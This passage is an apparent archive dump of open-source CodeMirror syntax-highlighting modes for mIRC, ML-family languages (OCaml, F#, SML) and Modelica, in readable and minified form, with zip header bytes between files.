timer timestamp titlebar tnick tokenize " +
                            "toolbar topic tray treebar ulist unload
unset unsetall updatenl url uwho " +
                            "var vcadd vcmd vcrem vol while whois
window winhelp write writeint if isalnum " +
                            "isalpha isaop isavoice isban ischan ishop
isignore isin isincs isletter islower " +
                            "isnotify isnum ison isop isprotect isreg
isupper isvoice iswm iswmcs " +
                            "elseif else goto menu nicklist status
title icon size option text edit " +
                            "button check radio box scroll list combo
link tab item");
  var functions = parseWords("if elseif else and not or eq ne in ni
for foreach while switch");
  var isOperatorChar = /[+\-*&%=<>!?^\/\|]/;
  function chain(stream, state, f) {
    state.tokenize = f;
    return f(stream, state);
  }
  function tokenBase(stream, state) {
    var beforeParams = state.beforeParams;
    state.beforeParams = false;
    var ch = stream.next();
    if (/[\[\]{}\(\),\.]/.test(ch)) {
      if (ch == "(" && beforeParams) state.inParams =
true;
      else if (ch == ")") state.inParams = false;
      return null;
    }
    else if (/\d/.test(ch)) {
      stream.eatWhile(/[\w\.]/);
      return "number";
    }
    else if (ch == "\\") {
      stream.eat("\\");
      stream.eat(/./);
      return "number";
    }
    else if (ch == "/" && stream.eat("*")) {
      return chain(stream, state, tokenComment);
    }
    else if (ch == ";" && stream.match(/ *\( *\(/)) {
      return chain(stream, state, tokenUnparsed);
    }
    else if (ch == ";" && !state.inParams) {
      stream.skipToEnd();
      return "comment";
    }
    else if (ch == '"') {
      stream.eat(/"/);
      return "keyword";
    }
    else if (ch == "$") {
      stream.eatWhile(/[$_a-z0-9A-Z\.:]/);
      if (specials &&
specials.propertyIsEnumerable(stream.current().toLowerCase())) {
        return "keyword";
      }
      else {
        state.beforeParams = true;
        return "builtin";
      }
    }
    else if (ch == "%") {
      stream.eatWhile(/[^,\s()]/);
      state.beforeParams = true;
      return "string";
    }
    else if (isOperatorChar.test(ch)) {
      stream.eatWhile(isOperatorChar);
      return "operator";
    }
    else {
      stream.eatWhile(/[\w\$_{}]/);
      var word = stream.current().toLowerCase();
      if (keywords && keywords.propertyIsEnumerable(word))
        return "keyword";
      if (functions && functions.propertyIsEnumerable(word)) {
        state.beforeParams = true;
        return "keyword";
      }
      return null;
    }
  }
  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return "comment";
  }
  function tokenUnparsed(stream, state) {
    var maybeEnd = 0, ch;
    while (ch = stream.next()) {
      if (ch == ";" && maybeEnd == 2) {
        state.tokenize = tokenBase;
        break;
      }
      if (ch == ")")
        maybeEnd++;
      else if (ch != " ")
        maybeEnd = 0;
    }
    return "meta";
  }
  return {
    startState: function() {
      return {
        tokenize: tokenBase,
        beforeParams: false,
        inParams: false
      };
    },
    token: function(stream, state) {
      if (stream.eatSpace()) return null;
      return state.tokenize(stream, state);
    }
  };
});

});
PKI��[|\��
codemirror/mode/mirc/mirc.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMIME("text/mirc","mirc"),a.defineMode("mirc",(function(){function
a(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return b}function b(a,b,c){return
b.tokenize=c,c(a,b)}function c(a,c){var
j=c.beforeParams;c.beforeParams=!1;var
k=a.next();if(/[\[\]{}\(\),\.]/.test(k))return"("==k&&j?c.inParams=!0:")"==k&&(c.inParams=!1),null;if(/\d/.test(k))return
a.eatWhile(/[\w\.]/),"number";if("\\"==k)return
a.eat("\\"),a.eat(/./),"number";if("/"==k&&a.eat("*"))return
b(a,c,d);if(";"==k&&a.match(/ *\( *\(/))return
b(a,c,e);if(";"!=k||c.inParams){if('"'==k)return
a.eat(/"/),"keyword";if("$"==k)return
a.eatWhile(/[$_a-z0-9A-Z\.:]/),f&&f.propertyIsEnumerable(a.current().toLowerCase())?"keyword":(c.beforeParams=!0,"builtin");if("%"==k)return
a.eatWhile(/[^,\s()]/),c.beforeParams=!0,"string";if(i.test(k))return
a.eatWhile(i),"operator";a.eatWhile(/[\w\$_{}]/);var
l=a.current().toLowerCase();return
g&&g.propertyIsEnumerable(l)?"keyword":h&&h.propertyIsEnumerable(l)?(c.beforeParams=!0,"keyword"):null}return
a.skipToEnd(),"comment"}function d(a,b){for(var
d,e=!1;d=a.next();){if("/"==d&&e){b.tokenize=c;break}e="*"==d}return"comment"}function
e(a,b){for(var
d,e=0;d=a.next();){if(";"==d&&2==e){b.tokenize=c;break}")"==d?e++:"
"!=d&&(e=0)}return"meta"}var f=a("$! $$ $&
$? $+ $abook $abs $active $activecid $activewid $address $addtok $agent
$agentname $agentstat $agentver $alias $and $anick $ansi2mirc $aop
$appactive $appstate $asc $asctime $asin $atan $avoice $away $awaymsg
$awaytime $banmask $base $bfind $binoff $biton $bnick $bvar $bytes $calc
$cb $cd $ceil $chan $chanmodes $chantypes $chat $chr $cid $clevel $click
$cmdbox $cmdline $cnick $color $com $comcall $comchan $comerr $compact
$compress $comval $cos $count $cr $crc $creq $crlf $ctime $ctimer
$ctrlenter $date $day $daylight $dbuh $dbuw $dccignore $dccport $dde
$ddename $debug $decode $decompress $deltok $devent $dialog $did $didreg
$didtok $didwm $disk $dlevel $dll $dllcall $dname $dns $duration $ebeeps
$editbox $emailaddr $encode $error $eval $event $exist $feof $ferr $fgetc
$file $filename $filtered $finddir $finddirn $findfile $findfilen $findtok
$fline $floor $fopen $fread $fserve $fulladdress $fulldate $fullname
$fullscreen $get $getdir $getdot $gettok $gmt $group $halted $hash $height
$hfind $hget $highlight $hnick $hotline $hotlinepos $ial $ialchan $ibl
$idle $iel $ifmatch $ignore $iif $iil $inelipse $ini $inmidi $inpaste
$inpoly $input $inrect $inroundrect $insong $instok $int $inwave $ip
$isalias $isbit $isdde $isdir $isfile $isid $islower $istok $isupper
$keychar $keyrpt $keyval $knick $lactive $lactivecid $lactivewid $left $len
$level $lf $line $lines $link $lock $lock $locked $log $logstamp
$logstampfmt $longfn $longip $lower $ltimer $maddress $mask $matchkey
$matchtok $md5 $me $menu $menubar $menucontext $menutype $mid $middir
$mircdir $mircexe $mircini $mklogfn $mnick $mode $modefirst $modelast
$modespl $mouse $msfile $network $newnick $nick $nofile $nopath $noqt $not
$notags $notify $null $numeric $numok $oline $onpoly $opnick $or $ord $os
$passivedcc $pic $play $pnick $port $portable $portfree $pos $prefix $prop
$protect $puttok $qt $query $rand $r $rawmsg $read $readomo $readn $regex
$regml $regsub $regsubex $remove $remtok $replace $replacex $reptok $result
$rgb $right $round $scid $scon $script $scriptdir $scriptline $sdir $send
$server $serverip $sfile $sha1 $shortfn $show $signal $sin $site $sline
$snick $snicks $snotify $sock $sockbr $sockerr $sockname $sorttok $sound
$sqrt $ssl $sreq $sslready $status $strip $str $stripped $syle $submenu
$switchbar $tan $target $ticks $time $timer $timestamp $timestampfmt
$timezone $tip $titlebar $toolbar $treebar $trust $ulevel $ulist $upper
$uptime $url $usermode $v1 $v2 $var $vcmd $vcmdstat $vcmdver $version
$vnick $vol $wid $width $wildsite $wildtok $window $wrap
$xor"),g=a("abook ajinvite alias aline ame amsg anick aop auser
autojoin avoice away background ban bcopy beep bread break breplace bset
btrunc bunset bwrite channel clear clearall cline clipboard close cnick
color comclose comopen comreg continue copy creq ctcpreply ctcps dcc
dccserver dde ddeserver debug dec describe dialog did didtok disable
disconnect dlevel dline dll dns dqwindow drawcopy drawdot drawfill drawline
drawpic drawrect drawreplace drawrot drawsave drawscroll drawtext ebeeps
echo editbox emailaddr enable events exit fclose filter findtext finger
firewall flash flist flood flush flushini font fopen fseek fsend fserve
fullname fwrite ghide gload gmove gopts goto gplay gpoint gqreq groups
gshow gsize gstop gtalk gunload hadd halt haltdef hdec hdel help hfree hinc
hload hmake hop hsave ial ialclear ialmark identd if ignore iline inc
invite iuser join kick linesep links list load loadbuf localinfo log mdi me
menubar mkdir mnick mode msg nick noop notice notify omsg onotice part
partall pdcc perform play playctrl pop protect pvoice qme qmsg query queryn
quit raw reload remini remote remove rename renwin reseterror resetidle
return rlevel rline rmdir run ruser save savebuf saveini say scid scon
server set showmirc signam sline sockaccept sockclose socklist socklisten
sockmark sockopen sockpause sockread sockrename sockudp sockwrite sound
speak splay sreq strip switchbar timer timestamp titlebar tnick tokenize
toolbar topic tray treebar ulist unload unset unsetall updatenl url uwho
var vcadd vcmd vcrem vol while whois window winhelp write writeint if
isalnum isalpha isaop isavoice isban ischan ishop isignore isin isincs
isletter islower isnotify isnum ison isop isprotect isreg isupper isvoice
iswm iswmcs elseif else goto menu nicklist status title icon size option
text edit button check radio box scroll list combo link tab
item"),h=a("if elseif else and not or eq ne in ni for foreach
while
switch"),i=/[+\-*&%=<>!?^\/\|]/;return{startState:function(){return{tokenize:c,beforeParams:!1,inParams:!1}},token:function(a,b){return
a.eatSpace()?null:b.tokenize(a,b)}}}))}));PKI��[�(;	"	"
codemirror/mode/mllike/mllike.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode('mllike', function(_config, parserConfig) {
  var words = {
    'as': 'keyword',
    'do': 'keyword',
    'else': 'keyword',
    'end': 'keyword',
    'exception': 'keyword',
    'fun': 'keyword',
    'functor': 'keyword',
    'if': 'keyword',
    'in': 'keyword',
    'include': 'keyword',
    'let': 'keyword',
    'of': 'keyword',
    'open': 'keyword',
    'rec': 'keyword',
    'struct': 'keyword',
    'then': 'keyword',
    'type': 'keyword',
    'val': 'keyword',
    'while': 'keyword',
    'with': 'keyword'
  };

  var extraWords = parserConfig.extraWords || {};
  for (var prop in extraWords) {
    if (extraWords.hasOwnProperty(prop)) {
      words[prop] = parserConfig.extraWords[prop];
    }
  }
  var hintWords = [];
  for (var k in words) { hintWords.push(k); }
  CodeMirror.registerHelper("hintWords", "mllike",
hintWords);

  function tokenBase(stream, state) {
    var ch = stream.next();

    if (ch === '"') {
      state.tokenize = tokenString;
      return state.tokenize(stream, state);
    }
    if (ch === '{') {
      if (stream.eat('|')) {
        state.longString = true;
        state.tokenize = tokenLongString;
        return state.tokenize(stream, state);
      }
    }
    if (ch === '(') {
      if (stream.eat('*')) {
        state.commentLevel++;
        state.tokenize = tokenComment;
        return state.tokenize(stream, state);
      }
    }
    if (ch === '~' || ch === '?') {
      stream.eatWhile(/\w/);
      return 'variable-2';
    }
    if (ch === '`') {
      stream.eatWhile(/\w/);
      return 'quote';
    }
    if (ch === '/' && parserConfig.slashComments
&& stream.eat('/')) {
      stream.skipToEnd();
      return 'comment';
    }
    if (/\d/.test(ch)) {
      if (ch === '0' && stream.eat(/[bB]/)) {
        stream.eatWhile(/[01]/);
      } if (ch === '0' && stream.eat(/[xX]/)) {
        stream.eatWhile(/[0-9a-fA-F]/)
      } if (ch === '0' && stream.eat(/[oO]/)) {
        stream.eatWhile(/[0-7]/);
      } else {
        stream.eatWhile(/[\d_]/);
        if (stream.eat('.')) {
          stream.eatWhile(/[\d]/);
        }
        if (stream.eat(/[eE]/)) {
          stream.eatWhile(/[\d\-+]/);
        }
      }
      return 'number';
    }
    if ( /[+\-*&%=<>!?|@\.~:]/.test(ch)) {
      return 'operator';
    }
    if (/[\w\xa1-\uffff]/.test(ch)) {
      stream.eatWhile(/[\w\xa1-\uffff]/);
      var cur = stream.current();
      return words.hasOwnProperty(cur) ? words[cur] : 'variable';
    }
    return null
  }

  function tokenString(stream, state) {
    var next, end = false, escaped = false;
    while ((next = stream.next()) != null) {
      if (next === '"' && !escaped) {
        end = true;
        break;
      }
      escaped = !escaped && next === '\\';
    }
    if (end && !escaped) {
      state.tokenize = tokenBase;
    }
    return 'string';
  };

  function tokenComment(stream, state) {
    var prev, next;
    while(state.commentLevel > 0 && (next = stream.next()) !=
null) {
      if (prev === '(' && next === '*')
state.commentLevel++;
      if (prev === '*' && next === ')')
state.commentLevel--;
      prev = next;
    }
    if (state.commentLevel <= 0) {
      state.tokenize = tokenBase;
    }
    return 'comment';
  }

  function tokenLongString(stream, state) {
    var prev, next;
    while (state.longString && (next = stream.next()) != null) {
      if (prev === '|' && next === '}')
state.longString = false;
      prev = next;
    }
    if (!state.longString) {
      state.tokenize = tokenBase;
    }
    return 'string';
  }

  return {
    startState: function() {return {tokenize: tokenBase, commentLevel: 0,
longString: false};},
    token: function(stream, state) {
      if (stream.eatSpace()) return null;
      return state.tokenize(stream, state);
    },

    blockCommentStart: "(*",
    blockCommentEnd: "*)",
    lineComment: parserConfig.slashComments ? "//" : null
  };
});

CodeMirror.defineMIME('text/x-ocaml', {
  name: 'mllike',
  extraWords: {
    'and': 'keyword',
    'assert': 'keyword',
    'begin': 'keyword',
    'class': 'keyword',
    'constraint': 'keyword',
    'done': 'keyword',
    'downto': 'keyword',
    'external': 'keyword',
    'function': 'keyword',
    'initializer': 'keyword',
    'lazy': 'keyword',
    'match': 'keyword',
    'method': 'keyword',
    'module': 'keyword',
    'mutable': 'keyword',
    'new': 'keyword',
    'nonrec': 'keyword',
    'object': 'keyword',
    'private': 'keyword',
    'sig': 'keyword',
    'to': 'keyword',
    'try': 'keyword',
    'value': 'keyword',
    'virtual': 'keyword',
    'when': 'keyword',

    // builtins
    'raise': 'builtin',
    'failwith': 'builtin',
    'true': 'builtin',
    'false': 'builtin',

    // Pervasives builtins
    'asr': 'builtin',
    'land': 'builtin',
    'lor': 'builtin',
    'lsl': 'builtin',
    'lsr': 'builtin',
    'lxor': 'builtin',
    'mod': 'builtin',
    'or': 'builtin',

    // More Pervasives
    'raise_notrace': 'builtin',
    'trace': 'builtin',
    'exit': 'builtin',
    'print_string': 'builtin',
    'print_endline': 'builtin',

     'int': 'type',
     'float': 'type',
     'bool': 'type',
     'char': 'type',
     'string': 'type',
     'unit': 'type',

     // Modules
     'List': 'builtin'
  }
});

CodeMirror.defineMIME('text/x-fsharp', {
  name: 'mllike',
  extraWords: {
    'abstract': 'keyword',
    'assert': 'keyword',
    'base': 'keyword',
    'begin': 'keyword',
    'class': 'keyword',
    'default': 'keyword',
    'delegate': 'keyword',
    'do!': 'keyword',
    'done': 'keyword',
    'downcast': 'keyword',
    'downto': 'keyword',
    'elif': 'keyword',
    'extern': 'keyword',
    'finally': 'keyword',
    'for': 'keyword',
    'function': 'keyword',
    'global': 'keyword',
    'inherit': 'keyword',
    'inline': 'keyword',
    'interface': 'keyword',
    'internal': 'keyword',
    'lazy': 'keyword',
    'let!': 'keyword',
    'match': 'keyword',
    'member': 'keyword',
    'module': 'keyword',
    'mutable': 'keyword',
    'namespace': 'keyword',
    'new': 'keyword',
    'null': 'keyword',
    'override': 'keyword',
    'private': 'keyword',
    'public': 'keyword',
    'return!': 'keyword',
    'return': 'keyword',
    'select': 'keyword',
    'static': 'keyword',
    'to': 'keyword',
    'try': 'keyword',
    'upcast': 'keyword',
    'use!': 'keyword',
    'use': 'keyword',
    'void': 'keyword',
    'when': 'keyword',
    'yield!': 'keyword',
    'yield': 'keyword',

    // Reserved words
    'atomic': 'keyword',
    'break': 'keyword',
    'checked': 'keyword',
    'component': 'keyword',
    'const': 'keyword',
    'constraint': 'keyword',
    'constructor': 'keyword',
    'continue': 'keyword',
    'eager': 'keyword',
    'event': 'keyword',
    'external': 'keyword',
    'fixed': 'keyword',
    'method': 'keyword',
    'mixin': 'keyword',
    'object': 'keyword',
    'parallel': 'keyword',
    'process': 'keyword',
    'protected': 'keyword',
    'pure': 'keyword',
    'sealed': 'keyword',
    'tailcall': 'keyword',
    'trait': 'keyword',
    'virtual': 'keyword',
    'volatile': 'keyword',

    // builtins
    'List': 'builtin',
    'Seq': 'builtin',
    'Map': 'builtin',
    'Set': 'builtin',
    'Option': 'builtin',
    'int': 'builtin',
    'string': 'builtin',
    'not': 'builtin',
    'true': 'builtin',
    'false': 'builtin',

    'raise': 'builtin',
    'failwith': 'builtin'
  },
  slashComments: true
});


CodeMirror.defineMIME('text/x-sml', {
  name: 'mllike',
  extraWords: {
    'abstype': 'keyword',
    'and': 'keyword',
    'andalso': 'keyword',
    'case': 'keyword',
    'datatype': 'keyword',
    'fn': 'keyword',
    'handle': 'keyword',
    'infix': 'keyword',
    'infixr': 'keyword',
    'local': 'keyword',
    'nonfix': 'keyword',
    'op': 'keyword',
    'orelse': 'keyword',
    'raise': 'keyword',
    'withtype': 'keyword',
    'eqtype': 'keyword',
    'sharing': 'keyword',
    'sig': 'keyword',
    'signature': 'keyword',
    'structure': 'keyword',
    'where': 'keyword',
    'true': 'keyword',
    'false': 'keyword',

    // types
    'int': 'builtin',
    'real': 'builtin',
    'string': 'builtin',
    'char': 'builtin',
    'bool': 'builtin'
  },
  slashComments: true
});

});
PKI��[d�����$codemirror/mode/mllike/mllike.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("mllike",(function(b,c){function
d(a,b){var d=a.next();if('"'===d)return
b.tokenize=e,b.tokenize(a,b);if("{"===d&&a.eat("|"))return
b.longString=!0,b.tokenize=g,b.tokenize(a,b);if("("===d&&a.eat("*"))return
b.commentLevel++,b.tokenize=f,b.tokenize(a,b);if("~"===d||"?"===d)return
a.eatWhile(/\w/),"variable-2";if("`"===d)return
a.eatWhile(/\w/),"quote";if("/"===d&&c.slashComments&&a.eat("/"))return
a.skipToEnd(),"comment";if(/\d/.test(d))return"0"===d&&a.eat(/[bB]/)&&a.eatWhile(/[01]/),"0"===d&&a.eat(/[xX]/)&&a.eatWhile(/[0-9a-fA-F]/),"0"===d&&a.eat(/[oO]/)?a.eatWhile(/[0-7]/):(a.eatWhile(/[\d_]/),a.eat(".")&&a.eatWhile(/[\d]/),a.eat(/[eE]/)&&a.eatWhile(/[\d\-+]/)),"number";if(/[+\-*&%=<>!?|@\.~:]/.test(d))return"operator";if(/[\w\xa1-\uffff]/.test(d)){a.eatWhile(/[\w\xa1-\uffff]/);var
i=a.current();return h.hasOwnProperty(i)?h[i]:"variable"}return
null}function e(a,b){for(var
c,e=!1,f=!1;null!=(c=a.next());){if('"'===c&&!f){e=!0;break}f=!f&&"\\"===c}return
e&&!f&&(b.tokenize=d),"string"}function
f(a,b){for(var
c,e;b.commentLevel>0&&null!=(e=a.next());)"("===c&&"*"===e&&b.commentLevel++,"*"===c&&")"===e&&b.commentLevel--,c=e;return
b.commentLevel<=0&&(b.tokenize=d),"comment"}function
g(a,b){for(var
c,e;b.longString&&null!=(e=a.next());)"|"===c&&"}"===e&&(b.longString=!1),c=e;return
b.longString||(b.tokenize=d),"string"}var
h={as:"keyword",do:"keyword",else:"keyword",end:"keyword",exception:"keyword",fun:"keyword",functor:"keyword",if:"keyword",in:"keyword",include:"keyword",let:"keyword",of:"keyword",open:"keyword",rec:"keyword",struct:"keyword",then:"keyword",type:"keyword",val:"keyword",while:"keyword",with:"keyword"},i=c.extraWords||{};for(var
j in i)i.hasOwnProperty(j)&&(h[j]=c.extraWords[j]);var k=[];for(var
l in h)k.push(l);return
a.registerHelper("hintWords","mllike",k),{startState:function(){return{tokenize:d,commentLevel:0,longString:!1}},token:function(a,b){return
a.eatSpace()?null:b.tokenize(a,b)},blockCommentStart:"(*",blockCommentEnd:"*)",lineComment:c.slashComments?"//":null}})),a.defineMIME("text/x-ocaml",{name:"mllike",extraWords:{and:"keyword",assert:"keyword",begin:"keyword",class:"keyword",constraint:"keyword",done:"keyword",downto:"keyword",external:"keyword",function:"keyword",initializer:"keyword",lazy:"keyword",match:"keyword",method:"keyword",module:"keyword",mutable:"keyword",new:"keyword",nonrec:"keyword",object:"keyword",private:"keyword",sig:"keyword",to:"keyword",try:"keyword",value:"keyword",virtual:"keyword",when:"keyword",raise:"builtin",failwith:"builtin",true:"builtin",false:"builtin",asr:"builtin",land:"builtin",lor:"builtin",lsl:"builtin",lsr:"builtin",lxor:"builtin",mod:"builtin",or:"builtin",raise_notrace:"builtin",trace:"builtin",exit:"builtin",print_string:"builtin",print_endline:"builtin",int:"type",float:"type",bool:"type",char:"type",string:"type",unit:"type",List:"builtin"}}),a.defineMIME("text/x-fsharp",{name:"mllike",extraWords:{abstract:"keyword",assert:"keyword",base:"keyword",begin:"keyword",class:"keyword",default:"keyword",delegate:"keyword","do!":"keyword",done:"keyword",downcast:"keyword",downto:"keyword",elif:"keyword",extern:"keyword",finally:"keyword",for:"keyword",function:"keyword",global:"keyword",inherit:"keyword",inline:"keyword",interface:"keyword",internal:"keyword",lazy:"keyword","let!":"keyword",match:"keyword",member:"keyword",module:"keyword",mutable:"keyword",namespace:"keyword",new:"keyword",null:"keyword",override:"keyword",private:"keyword",public:"keyword","return!":"keyword",return:"keyword",select:"keyword",static:"keyword",to:"keyword",try:"keyword",upcast:"keyword","use!":"keyword",use:"keyword",void:"keyword",when:"keyword","yield!":"keyword",yield:"keyword",atomic:"keyword",break:"keyword",checked:"keyword",component:"keyword",const:"keyword",constraint:"keyword",constructor:"keyword",continue:"keyword",eager:"keyword",event:"keyword",external:"keyword",fixed:"keyword",method:"keyword",mixin:"keyword",object:"keyword",parallel:"keyword",process:"keyword",protected:"keyword",pure:"keyword",sealed:"keyword",tailcall:"keyword",trait:"keyword",virtual:"keyword",volatile:"keyword",List:"builtin",Seq:"builtin",Map:"builtin",Set:"builtin",Option:"builtin",int:"builtin",string:"builtin",not:"builtin",true:"builtin",false:"builtin",raise:"builtin",failwith:"builtin"},slashComments:!0}),a.defineMIME("text/x-sml",{name:"mllike",extraWords:{abstype:"keyword",and:"keyword",andalso:"keyword",case:"keyword",datatype:"keyword",fn:"keyword",handle:"keyword",infix:"keyword",infixr:"keyword",local:"keyword",nonfix:"keyword",op:"keyword",orelse:"keyword",raise:"keyword",withtype:"keyword",eqtype:"keyword",sharing:"keyword",sig:"keyword",signature:"keyword",structure:"keyword",where:"keyword",true:"keyword",false:"keyword",int:"builtin",real:"builtin",string:"builtin",char:"builtin",bool:"builtin"},slashComments:!0})}));PKI��[�W��$codemirror/mode/modelica/modelica.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Modelica support for CodeMirror, copyright (c) by Lennart Ochel

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})

(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("modelica", function(config,
parserConfig) {

    var indentUnit = config.indentUnit;
    var keywords = parserConfig.keywords || {};
    var builtin = parserConfig.builtin || {};
    var atoms = parserConfig.atoms || {};

    var isSingleOperatorChar = /[;=\(:\),{}.*<>+\-\/^\[\]]/;
    var isDoubleOperatorChar =
/(:=|<=|>=|==|<>|\.\+|\.\-|\.\*|\.\/|\.\^)/;
    var isDigit = /[0-9]/;
    var isNonDigit = /[_a-zA-Z]/;

    function tokenLineComment(stream, state) {
      stream.skipToEnd();
      state.tokenize = null;
      return "comment";
    }

    function tokenBlockComment(stream, state) {
      var maybeEnd = false, ch;
      while (ch = stream.next()) {
        if (maybeEnd && ch == "/") {
          state.tokenize = null;
          break;
        }
        maybeEnd = (ch == "*");
      }
      return "comment";
    }

    function tokenString(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == '"' && !escaped) {
          state.tokenize = null;
          state.sol = false;
          break;
        }
        escaped = !escaped && ch == "\\";
      }

      return "string";
    }

    function tokenIdent(stream, state) {
      stream.eatWhile(isDigit);
      while (stream.eat(isDigit) || stream.eat(isNonDigit)) { }


      var cur = stream.current();

      if(state.sol && (cur == "package" || cur ==
"model" || cur == "when" || cur ==
"connector")) state.level++;
      else if(state.sol && cur == "end" &&
state.level > 0) state.level--;

      state.tokenize = null;
      state.sol = false;

      if (keywords.propertyIsEnumerable(cur)) return "keyword";
      else if (builtin.propertyIsEnumerable(cur)) return
"builtin";
      else if (atoms.propertyIsEnumerable(cur)) return "atom";
      else return "variable";
    }

    function tokenQIdent(stream, state) {
      while (stream.eat(/[^']/)) { }

      state.tokenize = null;
      state.sol = false;

      if(stream.eat("'"))
        return "variable";
      else
        return "error";
    }

    function tokenUnsignedNuber(stream, state) {
      stream.eatWhile(isDigit);
      if (stream.eat('.')) {
        stream.eatWhile(isDigit);
      }
      if (stream.eat('e') || stream.eat('E')) {
        if (!stream.eat('-'))
          stream.eat('+');
        stream.eatWhile(isDigit);
      }

      state.tokenize = null;
      state.sol = false;
      return "number";
    }

    // Interface
    return {
      startState: function() {
        return {
          tokenize: null,
          level: 0,
          sol: true
        };
      },

      token: function(stream, state) {
        if(state.tokenize != null) {
          return state.tokenize(stream, state);
        }

        if(stream.sol()) {
          state.sol = true;
        }

        // WHITESPACE
        if(stream.eatSpace()) {
          state.tokenize = null;
          return null;
        }

        var ch = stream.next();

        // LINECOMMENT
        if(ch == '/' && stream.eat('/')) {
          state.tokenize = tokenLineComment;
        }
        // BLOCKCOMMENT
        else if(ch == '/' && stream.eat('*')) {
          state.tokenize = tokenBlockComment;
        }
        // TWO SYMBOL TOKENS
        else if(isDoubleOperatorChar.test(ch+stream.peek())) {
          stream.next();
          state.tokenize = null;
          return "operator";
        }
        // SINGLE SYMBOL TOKENS
        else if(isSingleOperatorChar.test(ch)) {
          state.tokenize = null;
          return "operator";
        }
        // IDENT
        else if(isNonDigit.test(ch)) {
          state.tokenize = tokenIdent;
        }
        // Q-IDENT
        else if(ch == "'" && stream.peek()
&& stream.peek() != "'") {
          state.tokenize = tokenQIdent;
        }
        // STRING
        else if(ch == '"') {
          state.tokenize = tokenString;
        }
        // UNSIGNED_NUBER
        else if(isDigit.test(ch)) {
          state.tokenize = tokenUnsignedNuber;
        }
        // ERROR
        else {
          state.tokenize = null;
          return "error";
        }

        return state.tokenize(stream, state);
      },

      indent: function(state, textAfter) {
        if (state.tokenize != null) return CodeMirror.Pass;

        var level = state.level;
        if(/(algorithm)/.test(textAfter)) level--;
        if(/(equation)/.test(textAfter)) level--;
        if(/(initial algorithm)/.test(textAfter)) level--;
        if(/(initial equation)/.test(textAfter)) level--;
        if(/(end)/.test(textAfter)) level--;

        if(level > 0)
          return indentUnit*level;
        else
          return 0;
      },

      blockCommentStart: "/*",
      blockCommentEnd: "*/",
      lineComment: "//"
    };
  });

  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i=0; i<words.length; ++i)
      obj[words[i]] = true;
    return obj;
  }

  var modelicaKeywords = "algorithm and annotation assert block break
class connect connector constant constrainedby der discrete each else
elseif elsewhen encapsulated end enumeration equation expandable extends
external false final flow for function if import impure in initial inner
input loop model not operator or outer output package parameter partial
protected public pure record redeclare replaceable return stream then true
type when while within";
  var modelicaBuiltin = "abs acos actualStream asin atan atan2
cardinality ceil cos cosh delay div edge exp floor getInstanceName homotopy
inStream integer log log10 mod pre reinit rem semiLinear sign sin sinh
spatialDistribution sqrt tan tanh";
  var modelicaAtoms = "Real Boolean Integer String";

  function def(mimes, mode) {
    if (typeof mimes == "string")
      mimes = [mimes];

    var words = [];

    function add(obj) {
      if (obj)
        for (var prop in obj)
          if (obj.hasOwnProperty(prop))
            words.push(prop);
    }

    add(mode.keywords);
    add(mode.builtin);
    add(mode.atoms);

    if (words.length) {
      mode.helperType = mimes[0];
      CodeMirror.registerHelper("hintWords", mimes[0], words);
    }

    for (var i=0; i<mimes.length; ++i)
      CodeMirror.defineMIME(mimes[i], mode);
  }

  def(["text/x-modelica"], {
    name: "modelica",
    keywords: words(modelicaKeywords),
    builtin: words(modelicaBuiltin),
    atoms: words(modelicaAtoms)
  });
});
PKI��[u��(codemirror/mode/modelica/modelica.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return
b}a.defineMode("modelica",(function(b,c){function d(a,b){return
a.skipToEnd(),b.tokenize=null,"comment"}function e(a,b){for(var
c,d=!1;c=a.next();){if(d&&"/"==c){b.tokenize=null;break}d="*"==c}return"comment"}function
f(a,b){for(var
c,d=!1;null!=(c=a.next());){if('"'==c&&!d){b.tokenize=null,b.sol=!1;break}d=!d&&"\\"==c}return"string"}function
g(a,b){for(a.eatWhile(p);a.eat(p)||a.eat(q););var
c=a.current();return!b.sol||"package"!=c&&"model"!=c&&"when"!=c&&"connector"!=c?b.sol&&"end"==c&&b.level>0&&b.level--:b.level++,b.tokenize=null,b.sol=!1,k.propertyIsEnumerable(c)?"keyword":l.propertyIsEnumerable(c)?"builtin":m.propertyIsEnumerable(c)?"atom":"variable"}function
h(a,b){for(;a.eat(/[^']/););return
b.tokenize=null,b.sol=!1,a.eat("'")?"variable":"error"}function
i(a,b){return
a.eatWhile(p),a.eat(".")&&a.eatWhile(p),(a.eat("e")||a.eat("E"))&&(a.eat("-")||a.eat("+"),a.eatWhile(p)),b.tokenize=null,b.sol=!1,"number"}var
